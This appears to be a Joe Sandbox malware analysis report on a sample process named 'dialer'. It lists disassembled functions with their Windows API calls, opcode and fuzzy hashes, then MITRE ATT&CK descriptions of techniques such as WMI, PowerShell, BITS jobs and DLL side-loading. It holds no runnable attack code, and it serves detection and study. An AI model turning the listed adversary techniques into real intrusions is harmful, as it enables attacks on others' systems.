Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: memset$callocmalloc
String ID:
API String ID: 4186080596-0
Opcode ID: 8d50d8e45384942101eea42b97ccc52974917b57355fedc4a57159ef11ade8ec
Instruction ID: d4e4ab89faacc4fb20080d0b3cdc0d01fefecb7e0db86a27a44a6168f5aab64e
Opcode Fuzzy Hash: 8d50d8e45384942101eea42b97ccc52974917b57355fedc4a57159ef11ade8ec
Instruction Fuzzy Hash: B2F04F75740700ABD620AB65CD4AF4B7BA9EFC6B20F044819F559A7640C634BC00CB51

Function 05949EF3 Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,059421B5,?,05949762,?,059421B5,059421B5,05944579,?,059445AE,059445FA,0594454F,?), ref: 05949F4D

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: CreateEvent
String ID:
API String ID: 2692171526-0
Opcode ID: afb071d9cc0ddb40b3cb5af852ec3cf6033474137f99890ffed26238c12420d2
Instruction ID: b11f0871276678df336ca9bad2a0096aaf2998a89505a54f5fa481d41f73f1c5
Opcode Fuzzy Hash: afb071d9cc0ddb40b3cb5af852ec3cf6033474137f99890ffed26238c12420d2
Instruction Fuzzy Hash: AF01E575908701AFE734CE26D440E63B7F9FB88760F04895EE88A86641E774FC458F50

Function 0594E7AC Relevance: 1.3, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.MSVCRT(00000001,0000414D), ref: 0594E7CF

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: calloc
String ID:
API String ID: 2635317215-0
Opcode ID: 49a46611532a12e163cc302d1987c13a93e53c572513acb75163985642f573e8
Instruction ID: 784de1f2f33d96771279c574dbdee5e81e89779724a6e4fbb24077656e4d1402
Opcode Fuzzy Hash: 49a46611532a12e163cc302d1987c13a93e53c572513acb75163985642f573e8
Instruction Fuzzy Hash: BB21EAB1604740DED7208F2AE881A86FBE8FF94754F20481FE199D7361DBB0A440CF65

Function 05941BD9 Relevance: 1.3, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 05941BDE

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 56ec6e8d49c7ae978114d4b548f05e03b15f1dc0a3751283c51efb61cbf357b3
Instruction ID: 4bb6fba55bbac8fd5a35a8208ea03c3fed6f773ae3bb1a2bfffdb5f0a301e135
Opcode Fuzzy Hash: 56ec6e8d49c7ae978114d4b548f05e03b15f1dc0a3751283c51efb61cbf357b3
Instruction Fuzzy Hash: 95F0DAB56042099FCF098F94E854DA93FA5FF48355B05406DFD094B361D731D860DF50

Non-executed Functions

Function 032B027F Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.2576468383.00000000032B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 032B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_32b0000_dialer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: 1e772ff178c8c2ec78f6c8e5b879ae8f7a2d474edd64490de52ee48c86650617
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: 73F0C279A21201CFCB25CF09C944CD6B7F5FB80790B288095E4049B260D3B0DDC8C750

Function 05944AB5 Relevance: 31.6, APIs: 25, Instructions: 300COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,0596DEBC,00000001,00000000,?,0594328A,?,?), ref: 05944AE4
memcmp.MSVCRT(?,0596DEB8,00000002), ref: 05944B13
memcmp.MSVCRT(?,0596DEB4,00000003), ref: 05944B53
memcmp.MSVCRT(?,0596DEA0,00000004), ref: 05944BE8
memcmp.MSVCRT(?,0596DE98,00000005), ref: 05944C2C
memcmp.MSVCRT(?,0596DE70,00000006), ref: 05944CEA
memcmp.MSVCRT(?,0596DE58,00000007), ref: 05944D66
memcmp.MSVCRT(?,0596DE3C,00000008), ref: 05944DE4
memcmp.MSVCRT(?,0596DE18,00000009), ref: 05944E60

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: e1da9cb2bd1a3164abd2e578960156635ef5ef81dee48c5d630cd36691c39531
Instruction ID: 7540a50af7c7a6d1d92b065ff9d20c68bb27b430663bd77ccaf7810230b1b5b7
Opcode Fuzzy Hash: e1da9cb2bd1a3164abd2e578960156635ef5ef81dee48c5d630cd36691c39531
Instruction Fuzzy Hash: 9D81E3B2B4830073D92151FB4D4BF362B8E6B5294BF866811FD19AD18EF175ED0C9E82

Function 05949CA2 Relevance: 16.7, APIs: 11, Instructions: 168networkregistryCOMMON

Download Yara Rule

APIs

socket.WS2_32(0000138A,00000001,00000000), ref: 05949CCC
SetHandleInformation.KERNEL32(00000000,00000001,00000000,?,?,?,0594A95A,?,00000000,?,00000000,00000000,?,00000000), ref: 05949D09
closesocket.WS2_32(00000000), ref: 05949D44
memset.MSVCRT ref: 05949D5A
GetLastError.KERNEL32(?,?,?,00000000,00000000,?), ref: 05949DBB
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,?), ref: 05949DC8
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,?), ref: 05949DD2
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,?), ref: 05949DDA
closesocket.WS2_32(?), ref: 05949DFE
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,?), ref: 05949E0C
RegisterWaitForSingleObject.KERNEL32(00000154,?,05949EAD,00000000,000000FF,00000004), ref: 05949E49

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$Handleclosesocket$CloseInformationObjectRegisterSingleWaitmemsetsocket
String ID:
API String ID: 1241441197-0
Opcode ID: 20263af33024230541f2b55e8bfd3ef743fb5fc16bd243bbd6fd0869f99b6781
Instruction ID: b06edc1f9b61e6a06d422c16d3fb2a0179a2112cc998a77be1cf5852417c67c1
Opcode Fuzzy Hash: 20263af33024230541f2b55e8bfd3ef743fb5fc16bd243bbd6fd0869f99b6781
Instruction Fuzzy Hash: F251BA72214A06EFD7209FA0DC4AFAB7BB9FF45311F208629F416D6180DB75E9058FA0

Function 05942E70 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 263stringCOMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(00000059,00000000,00000020), ref: 05942EEA
GetUserDefaultLangID.KERNEL32(0000005A,00000000,00000020), ref: 05942F12
_snwprintf.MSVCRT ref: 05942FB0
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 05942FCA
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000080,00000000,00000000), ref: 05942FF8
strlen.MSVCRT ref: 05943143

Strings

z, xrefs: 05943026

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ByteCharDefaultLangMultiUserWide$_snwprintfstrlen
String ID: z
API String ID: 2883371422-1657960367
Opcode ID: 55dcf21ff6f96276199610c12472d8ec7c21c7ebd29e8528564921a44b8e73f9
Instruction ID: 9cef7126396df2dba4aaf5f7368c73518ee84bd61f69a9d3e46c16ec37ffc27d
Opcode Fuzzy Hash: 55dcf21ff6f96276199610c12472d8ec7c21c7ebd29e8528564921a44b8e73f9
Instruction Fuzzy Hash: 12A151B5A04308AFDB10DFA4DD89E6A7BFCFB45344F148819F515AB280DB74A9498F21

Function 0594984B Relevance: 12.2, APIs: 8, Instructions: 170networkCOMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000001), ref: 059498C7
WSAGetLastError.WS2_32(?,00000000,?,05948C46,00000000,00000000,00000000,00000000,00000000,00000000,00000000,05948BB6,00000000,00000000,?,00000000), ref: 059498D8
closesocket.WS2_32(?), ref: 0594994E
UnregisterWait.KERNEL32(89595908), ref: 05949993
CloseHandle.KERNEL32(458BF845,00000000,00000000,?,00000000,?,05948C46,00000000,00000000,00000000,00000000,00000000,00000000,00000000,05948BB6,00000000), ref: 059499AD
free.MSVCRT ref: 059499D3
UnregisterWait.KERNEL32(?), ref: 059499F4
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,?,05948C46,00000000,00000000,00000000,00000000,00000000,00000000,00000000,05948BB6,00000000), ref: 05949A06

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: CloseHandleUnregisterWait$ErrorLastclosesocketfreeshutdown
String ID:
API String ID: 3261266694-0
Opcode ID: 3b7f0a4bdf0dcd38874e259c93679dae6c4e902ebb69187ef0cc98f154400c83
Instruction ID: 6b21d35e9e77513d525229314c7ec8c26b056a15e6bd0a724a020b6ea512615b
Opcode Fuzzy Hash: 3b7f0a4bdf0dcd38874e259c93679dae6c4e902ebb69187ef0cc98f154400c83
Instruction Fuzzy Hash: EC511271608B018FDB34CF69C484E67B7E9BF45325F144A2EE996976A0D730E849CF50

Function 05942B8F Relevance: 12.1, APIs: 8, Instructions: 140stringCOMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 05942B9F
memset.MSVCRT ref: 05942BCB
time.MSVCRT(00000000,?,00000000,00000014), ref: 05942BF4
srand.MSVCRT ref: 05942BFB
calloc.MSVCRT ref: 05942C05
strlen.MSVCRT ref: 05942C43
free.MSVCRT ref: 05942CF8
free.MSVCRT ref: 05942D1E

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: callocfree$memsetsrandstrlentime
String ID:
API String ID: 805530809-0
Opcode ID: 6139fd1f637154d92d1025241fd5992e7ab3e291d9f2ee12b6f7c8e05ee7337a
Instruction ID: eaa7a32a51092af453878da89e257eaf120818f59004c45886a37af37cad23f9
Opcode Fuzzy Hash: 6139fd1f637154d92d1025241fd5992e7ab3e291d9f2ee12b6f7c8e05ee7337a
Instruction Fuzzy Hash: A35109B5900705AFDB10DFA5C889EAEBBF8FF08304F50892EF95AA7640D775A9448F50

Function 0594BCF1 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0594BD08
memset.MSVCRT ref: 0594BD4D
GetLastError.KERNEL32 ref: 0594BDB6
GetLastError.KERNEL32 ref: 0594BE43
WSAGetLastError.WS2_32 ref: 0594BE50
WSAGetLastError.WS2_32 ref: 0594BE5A
WSAGetLastError.WS2_32 ref: 0594BE62

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$memset
String ID:
API String ID: 4054172246-0
Opcode ID: c93810a15b7ed7f9d8aea7e854e53a4a5ea0003bf9aeb80a3086981a12fbebca
Instruction ID: 79194cac09044eab00097b3e8642d384195c096b9703b22e7b77304b37e84dec
Opcode Fuzzy Hash: c93810a15b7ed7f9d8aea7e854e53a4a5ea0003bf9aeb80a3086981a12fbebca
Instruction Fuzzy Hash: C3514772504A04AFDB21DF65D849F9BBBFDFF44310F108A29E546E6140DB74EA098FA0

Function 0594B2A0 Relevance: 10.6, APIs: 7, Instructions: 83networksynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,0594BB80,?,000000FF,00000000,00000000), ref: 0594B2C7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,0594BB80), ref: 0594B308
GetLastError.KERNEL32(?,?,?,0594BB80), ref: 0594B313
CloseHandle.KERNEL32(00000000,?,?,?,0594BB80), ref: 0594B31C
WSASetLastError.WS2_32(00000000,?,?,?,0594BB80), ref: 0594B323
CloseHandle.KERNEL32(00000000,?,?,?,0594BB80), ref: 0594B332
WSASetLastError.WS2_32(00000000,?,?,?,0594BB80), ref: 0594B355

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseHandle$CreateEventObjectSingleWait
String ID:
API String ID: 1659421480-0
Opcode ID: 6962848994f15dea19525998692750550623304e0cc010d94d7ab828857b802b
Instruction ID: 2ede505663d4150066fbf25921f18387cdd7d16dc768fcb554e91e0feecb334b
Opcode Fuzzy Hash: 6962848994f15dea19525998692750550623304e0cc010d94d7ab828857b802b
Instruction Fuzzy Hash: 8621CF32519225EBDB215A6A9C49EAF3F6EFB457B0F140714F926F31C0DB30CC448AA0

Function 05944F5A Relevance: 8.8, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,0596DDC0,0000000C), ref: 05944F94
memcmp.MSVCRT(?,0596DDB0,0000000C), ref: 05944FB6
memcmp.MSVCRT(?,0596DDA0,0000000C), ref: 05944FD8
memcmp.MSVCRT(?,0596DD80,0000000C), ref: 05945018
memcmp.MSVCRT(?,0596DD70,0000000C), ref: 0594503A
memcmp.MSVCRT(?,0596DD60,0000000C), ref: 0594505C

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 851b1472a53943425e5f21e7396104759b40a3c623d2216dfba508fc05a9e4a2
Instruction ID: 690a4299cd57b766dbc511e4c028679874beae6e184e0f06f7114b47faac4264
Opcode Fuzzy Hash: 851b1472a53943425e5f21e7396104759b40a3c623d2216dfba508fc05a9e4a2
Instruction Fuzzy Hash: 53110EB274835163E42031F71D17F3A2B4D9B42A8AF865520FD19EC88AF255EE0C9A87

Function 059434E5 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 377COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,?,00000004), ref: 05943551
calloc.MSVCRT ref: 059436DA
memcmp.MSVCRT(?,?,00000020,?,?,?,?,?,?), ref: 05943926
free.MSVCRT ref: 0594393B

Strings

factfmt RIFFdata, xrefs: 0594359A, 0594359F

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp$callocfree
String ID: factfmt RIFFdata
API String ID: 254810267-2461439165
Opcode ID: fb967490744d3ead6750449d6f91fb8b6903474a1e4bd49fb8e98b1cdfb788c1
Instruction ID: 463130a74c83694a02027814047767a68fcfb2cff43ba6a1e9321c45f7563a4e
Opcode Fuzzy Hash: fb967490744d3ead6750449d6f91fb8b6903474a1e4bd49fb8e98b1cdfb788c1
Instruction Fuzzy Hash: EBD19F72E042599BDF24DFA4C884FEEB7BDBF45710F04845AE545A7240E734AA88CF64

Function 059551E4 Relevance: 7.8, APIs: 6, Instructions: 347COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 059551F6
memset.MSVCRT ref: 05955202
memset.MSVCRT ref: 0595520E
calloc.MSVCRT ref: 05955273

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: memset$calloc
String ID:
API String ID: 1504270956-0
Opcode ID: 555e4bd3af3030c12d728cbb9090f6e7f22db2d3905f112967fad4ce496341ed
Instruction ID: 16c0842c0f31d4e291d0eb8b23146a12ce069755f3c1426d21e4d194c16e7c45
Opcode Fuzzy Hash: 555e4bd3af3030c12d728cbb9090f6e7f22db2d3905f112967fad4ce496341ed
Instruction Fuzzy Hash: FDC16DB2A00209EBDB11DAA4D984EEF77FDFF44260F55056AED06D7201F630EA15CBA0

Function 0594C5F6 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 158stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0594C60B
strchr.MSVCRT ref: 0594C650
strchr.MSVCRT ref: 0594C666

Strings

0123456789abcdef, xrefs: 0594C646, 0594C64C
0123456789ABCDEF, xrefs: 0594C65C, 0594C662

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: strchr$memset
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 3020236661-885041942
Opcode ID: e4c23b4a9594f77f3466080fb522d0189346505b0538def2732c778f8bbe60e7
Instruction ID: 86259b27d4cb7ea3bf5ee6082ace63104da7a9da82cec740e2051dc34dab872d
Opcode Fuzzy Hash: e4c23b4a9594f77f3466080fb522d0189346505b0538def2732c778f8bbe60e7
Instruction Fuzzy Hash: 0451903190524ADFCF25CFA8C495DEEBFB9FB85264F14806AD842A7250E7709E85CF90

Function 05948E11 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,05948E0E,00000000,0594BB73,0594BBBA,0596EEE0,0594BBC2,0594BB73,00000000), ref: 05948E1E
InterlockedCompareExchange.KERNEL32(0594BB77,00000000,00000000), ref: 05948E30
SetEvent.KERNEL32(00000000,?,05948E0E,00000000,0594BB73,0594BBBA,0596EEE0,0594BBC2,0594BB73,00000000), ref: 05948E41
CloseHandle.KERNEL32(00000000,?,05948E0E,00000000,0594BB73,0594BBBA,0596EEE0,0594BBC2,0594BB73,00000000), ref: 05948E4D
WaitForSingleObject.KERNEL32(0594BB73,000000FF,?,05948E0E,00000000,0594BB73,0594BBBA,0596EEE0,0594BBC2,0594BB73,00000000), ref: 05948E58

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: Event$CloseCompareCreateExchangeHandleInterlockedObjectSingleWait
String ID:
API String ID: 4206309166-0
Opcode ID: 4c7961b6ef31e27946f22c6b7ffc61dbf8c6c0d69051630bd37ab3ac4a532eb6
Instruction ID: 222fab7c48afef5cf66a6bab8aba3fbb7b2f29a7a85d004c8b1af6ddf47da453
Opcode Fuzzy Hash: 4c7961b6ef31e27946f22c6b7ffc61dbf8c6c0d69051630bd37ab3ac4a532eb6
Instruction Fuzzy Hash: B9F08235118304FBDB102FA0DC4AF963FACEB097A1F108519FA0AA61C0DB7194448B60

Function 059450CC Relevance: 6.3, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,0596DD30,0000000E), ref: 059450F7
memcmp.MSVCRT(?,0596DD20,0000000E), ref: 05945119
memcmp.MSVCRT(?,0596DD10,0000000E), ref: 0594513B
memcmp.MSVCRT(?,0596DD00,0000000E), ref: 0594515D
memcmp.MSVCRT(?,0596DCF0,0000000E), ref: 0594517F

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: dc2255c346a6b039bd3446feefa026f886b1d77b687a2ce6273c5ddda79d5585
Instruction ID: e2c8a56f3b0e60ada8df691c94cb99d6f63727e2dfa038d61b956594d8033999
Opcode Fuzzy Hash: dc2255c346a6b039bd3446feefa026f886b1d77b687a2ce6273c5ddda79d5585
Instruction Fuzzy Hash: 1F01DFB175834533E43022FB1E27F35264AA78198AF461C10BD19EC58AF5A6DC089E42

Function 05945199 Relevance: 6.3, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,0596DCE0,0000000F), ref: 059451BA
memcmp.MSVCRT(?,0596DCD0,0000000F), ref: 059451D8
memcmp.MSVCRT(?,0596DCC0,0000000F), ref: 059451FA
memcmp.MSVCRT(?,0596DCB0,0000000F), ref: 0594521C

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 99f8f6159aa0700d73901cdad9a27d5daed96f6fc51988955ec828d415c86662
Instruction ID: 2d8876f13e6b0570dbfae9bc1f20d10497bc9456c8aea3c5594f0ea39f657f74
Opcode Fuzzy Hash: 99f8f6159aa0700d73901cdad9a27d5daed96f6fc51988955ec828d415c86662
Instruction Fuzzy Hash: DA01A2B274470533D52011F71E17F3A2689AB41946F855421FD18EC94EF298ED0C6987

Function 0594E0E5 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0594E159
calloc.MSVCRT ref: 0594E168

Strings

P, xrefs: 0594E26C

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: callocfree
String ID: P
API String ID: 306872129-3110715001
Opcode ID: 26d43a67309fdc25d9986cae966f40e20bac741d9a31882e4f4773a45b976b48
Instruction ID: d0d530c2b5795c2b4ab6145b1fc4b09d6e15a41c5102e4eb9675488d6643d826
Opcode Fuzzy Hash: 26d43a67309fdc25d9986cae966f40e20bac741d9a31882e4f4773a45b976b48
Instruction Fuzzy Hash: 9F511431309604AFD765DB28C949F2A7BDEBF85700F588998F4468F292E721ED44CF46

Function 059439C1 Relevance: 6.1, APIs: 4, Instructions: 89networkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 05943A01
getaddrinfo.WS2_32(?,00000000,?,00000000), ref: 05943A24
htons.WS2_32(?), ref: 05943A8D
FreeAddrInfoW.WS2_32(00000000), ref: 05943AA4

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: AddrFreeInfogetaddrinfohtonsmemset
String ID:
API String ID: 928751204-0
Opcode ID: 167dc5eeaa0ebaed05b9d036d900a7f7f657a70596444a004b9bf9fe38c00f24
Instruction ID: a84b8dc6fc1b30fdae4100f290a2c7cd1c8835cc280dc0926d5783c7bc2793b1
Opcode Fuzzy Hash: 167dc5eeaa0ebaed05b9d036d900a7f7f657a70596444a004b9bf9fe38c00f24
Instruction Fuzzy Hash: AA318D71A54205EFCB24DFA4C888EAEBBBAFF48314F144959E415A7111E371EE89CF90

Function 0594A53B Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 248networkCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,00000000,?,00000000,00000000), ref: 0594A641
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,?), ref: 0594A6F2

Strings

E', xrefs: 0594A74B

Memory Dump Source

Source File: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, Offset: 05941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5941000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLastRecv
String ID: E'
API String ID: 904507345-3751625834
Opcode ID: 13a8e301f15af3907d4afb6b7234817a17995f1caa3d3a98c7c9689a61f3f8ec
Instruction ID: 044976b314fd23ae5a5ef03ff43f711abfd14eb99d838ed41efd65ae58166c80
Opcode Fuzzy Hash: 13a8e301f15af3907d4afb6b7234817a17995f1caa3d3a98c7c9689a61f3f8ec
Instruction Fuzzy Hash: 1D819E70984704AFDB319F14C884EAA77FBFF05364F044A1DE95686690E731EE858F90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
Tactics:	Defense Evasion, Persistence
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, Service: Service Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

